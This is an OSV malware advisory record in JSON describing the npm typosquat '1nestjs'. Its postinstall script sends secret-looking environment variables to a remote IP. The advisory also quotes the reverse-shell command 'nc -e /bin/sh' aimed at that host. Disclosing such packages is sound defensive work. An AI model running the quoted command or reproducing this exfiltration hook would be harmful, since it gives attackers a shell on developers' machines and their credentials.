{"id":"MAL-2026-15909","revision":"07d6e95935ad46fea1e5c37237f451d7","records":[{"revision":"07d6e95935ad46fea1e5c37237f451d7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-15909","aliases":[],"title":"Malicious code in 1nestjs (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43)\nPackage name typosquats `nestjs` and declares `postinstall: node index.js` in package.json, so index.js runs automatically during `npm install`. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes `nc -e /bin/sh 84.32.22.44 9999`, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description \"Typosquat of nestjs\", author \"typosquat-bot\").\n\n## Source: ossf-package-analysis (bb3da821e3a6871a3e9c27009b213a63c1168355f30084686142c1253603eb71)\nThe OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","state":0,"publishedAt":"2026-09-03T23:45:56+00:00","modifiedAt":"2026-09-04T05:45:05.6749615+00:00","affected":[{"ecosystem":"npm","name":"1nestjs","ranges":[],"versions":["0.0.1"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/1nestjs/v/0.0.1"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-15909","license":"OSV · upstream source license applies","key":"osv:MAL-2026-15909","identifiers":["MAL-2026-15909"]},"retained":false,"historicalAffected":[]}],"coverage":[]}